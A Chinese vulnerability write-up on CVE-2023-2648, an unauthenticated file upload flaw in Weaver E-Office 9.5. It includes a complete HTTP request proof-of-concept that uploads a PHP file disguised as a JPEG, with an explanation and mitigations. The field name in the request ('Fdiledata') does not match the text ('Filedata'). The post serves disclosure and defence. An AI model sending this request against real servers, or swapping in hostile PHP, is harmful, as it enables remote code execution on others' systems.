首页 > 其他分享 >Weaver E-Office v9.5 文件上传漏洞(CVE-2023-2648)

Weaver E-Office v9.5 文件上传漏洞(CVE-2023-2648)

时间:2024-06-21 19:33:27浏览次数:26  
标签:2648 文件 Office uploadify v9.5 Content 漏洞 php 上传

前言

CVE-2023-2648 是一个在 Weaver E-Office 9.5 版本中发现的严重漏洞。此漏洞位于文件 /inc/jquery/uploadify/uploadify.php 中,通过操控 Filedata 参数,可以进行不受限制的文件上传。这一漏洞允许攻击者上传可能包含危险类型的文件,并在应用程序环境中执行。该漏洞可以通过远程发起攻击,且已被公开披露,构成了严重的安全风险。

此漏洞被分类为 CWE-434:不受限制的危险类型文件上传。根据 CVSS v3.1 评分,此漏洞的基本评分为 9.8,表明其严重性极高。这意味着它可以通过网络在无需用户交互或事先认证的情况下被利用,对保密性、完整性和可用性产生高影响​ (NVD)​​ (Tenable®)​​ (MITRE CVE)​​ (Aqua Vulnerability Database)​。

对此漏洞的缓解措施包括:

  1. 实施严格的输入验证,确保仅允许指定的文件类型和内容。
  2. 使用白名单方法,根据已知的良好标准验证输入。
  3. 在沙盒环境中运行应用程序,以限制潜在利用的影响。
  4. 使用如 AppArmor 或 SELinux 等安全机制来强制执行文件操作的严格边界​ (Aqua Vulnerability Database)​。

有关更多详情,可以参考 MITRE CVE 网站 和 国家漏洞数据库

POC 分析 

POST /inc/jquery/uploadify/uploadify.php  HTTP/1.1
Host: xxxx8088
Content-Length: 204
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6tt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close

------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
Content-Disposition: form-data; name="Fdiledata"; filename="uploadify.php."
Content-Type: image/jpeg

<?php phpinfo();?>
------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
  1. HTTP 请求方法POST

    • 请求使用了 POST 方法,将数据上传到服务器。
  2. 请求路径/inc/jquery/uploadify/uploadify.php

    • 目标路径是 uploadify.php 文件,该文件是存在漏洞的部分。
  3. 头部信息

    • Host: 目标服务器地址(以 xxxx8088 作为示例)。
    • Content-Length: 请求体的长度。
    • Content-Type: 设置为 multipart/form-data,表示请求体中包含多个部分的数据。
    • User-Agent: 请求发送的客户端信息。
    • AcceptAccept-EncodingAccept-Language: 指定客户端接受的响应格式和语言。
  4. 请求体

    • Boundary:分隔符 ----WebKitFormBoundarydRVCGWq4Cx3Sq6tt 用于区分多个表单数据部分。
    • Content-Disposition:表明这是一个表单数据项,name="Filedata" 指定了表单字段名,filename="uploadify.php." 指定了上传的文件名。
    • Content-Type:虽然文件名是 .php,但类型被误导为 image/jpeg
    • 文件内容:PHP 代码 <?php phpinfo();?>,这是一个简单的 PHP 脚本,用于显示 PHP 的配置信息。

漏洞利用

  1. 文件上传:通过操控 Filedata 参数,将任意文件上传到服务器。由于文件类型检查不严格,攻击者可以上传包含恶意代码的 PHP 文件。
  2. 远程代码执行:上传的文件会在服务器上执行,导致远程代码执行。此处上传的 uploadify.php. 文件包含 PHP 代码 <?php phpinfo();?>,可在服务器上执行并显示 PHP 信息。

风险与防范

风险

  • 远程代码执行:攻击者可以上传并执行任意代码,完全控制服务器。
  • 信息泄露:通过上传恶意脚本,攻击者可以获取服务器上的敏感信息。

防范措施

  1. 严格验证文件类型:仅允许特定类型的文件上传,拒绝一切不符合要求的文件类型。
  2. 文件名检查:确保文件名没有危险的扩展名,例如 .php
  3. 使用白名单策略:仅接受已知良好的输入。
  4. 隔离上传目录:将上传的文件存储在一个仅允许有限权限访问的目录中,防止文件直接执行。

通过这些措施,可以有效减少此类漏洞被利用的风险。

漏洞复现 

uploadify.php 上传成功,返回随机文件夹名称

标签:2648,文件,Office,uploadify,v9.5,Content,漏洞,php,上传
From: https://blog.csdn.net/2302_82189125/article/details/139768686

相关文章

  • 学习笔记483—如何关闭 Mac Office 更新提示
    MacOffice总是弹出MicrosoftAutoUpdate更新提示怎么办? 问题:Mac电脑安装 Office2021Mac版后,老是弹出更新提示(MicrosoftAutoUpdate),关掉之后再开机又会弹出来,怎么办? 解决方法:用AppCleaner把MacOffice更新程序MicrosoftAutoUpdate直接卸载,这样就不会再弹出......
  • 国产linux系统(银河麒麟,统信uos)使用 PageOffice 国产版在线打开 pdf 文件
    PageOffice国产版:支持信创系统,支持银河麒麟V10和统信UOS,支持X86(intel、兆芯、海光等)、ARM(飞腾、鲲鹏、麒麟等)芯片架构。查看本示例演示效果本示例关键代码的编写位置Vue+Springboot注意本文中展示的代码均为关键代码,复制粘贴到您的项目中,按照实际的情况,例如文档路径,用户名......
  • officegen操作word文档和xlsx表格
    officegen操作word文档constofficegen=require('officegen')constfs=require('fs')//创建一个空的Word对象:letdocx=officegen('docx')//Officegen在完成生成docx文档后调用此函数:docx.on('finalize',function(written){console.log(......
  • 界面组件DevExpress Office File API - 如何用OpenAI增强文档可访问性(二)
    DevExpressOfficeFileAPI是一个专为C#,VB.NET和ASP.NET等开发人员提供的非可视化.NET库。有了这个库,不用安装MicrosoftOffice,就可以完全自动处理Excel、Word等文档。开发人员使用一个非常易于操作的API就可以生成XLS,XLSx,DOC,DOCx,RTF,CSV和SnapReport等企业级文......
  • 将 office 的注册应用 applications 的 API 密钥设置更长的期限
    首先官方文档https://learn.microsoft.com/zh-cn/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http 操作如下,必须用管理员账户登录操作 1:进入https://developer.microsoft.com/zh-cn/graph/graph-explorer,并在请求输入url处右上方确保登录2:登陆url......
  • .net core使用PageOffice时提示POBrowser is not defined
    页面控制台提示: 说明PageOffice.js未引用,页面增加<scripttype="text/javascript"src="~/pageoffice.js"></script>如果还是访问不到这个js,检查一下Startup.cs,注册2个中间件即可。//Thismethodgetscalledbytheruntime.UsethismethodtoconfiguretheHT......
  • 国产linux系统(银河麒麟,统信uos)使用 PageOffice 国产版控制Word编辑区域(局部编辑)
    本示例关键代码的编写位置Vue+Springboot注意本文中展示的代码均为关键代码,复制粘贴到您的项目中,按照实际的情况,例如文档路径,用户名等做适当修改即可使用。在实际项目开发中,以下场景可能会用到Word局部编辑功能:合同审批公文流转策划设计报告汇签单招投标(标书文件)其他......
  • 测试onlyoffice在线预览文件功能
    HTML示例代码<!DOCTYPEhtml><htmllang="zh"><head><metacharset="UTF-8"><title>测试onlyoffice在线预览文件功能</title><scripttype="text/javascript"src="http://onlyoffice服务器ip:......
  • Spire.Office 9.5.0 for .NET
    Spire.Officefor.NETisacombinationofEnterprise-LevelOffice.NETAPIofferedbyE-iceblue.ItincludesSpire.Doc,Spire.XLS,Spire.Spreadsheet,Spire.Presentation,Spire.PDF,Spire.DataExport,Spire.OfficeViewer,Spire.PDFViewer,Spire.DocViewer,Sp......
  • Spire.Office for Java 9.5.0 is released
    Spire.OfficeforJavaisacombinationofEnterprise-LevelOfficeJavaAPIsofferedbyE-iceblue.ItincludesSpire.DocforJava,Spire.XLSforJava,Spire.PresentationforJava,Spire.PDFforJavaandSpire.BarcodeforJava.DeveloperscanuseSpire.Off......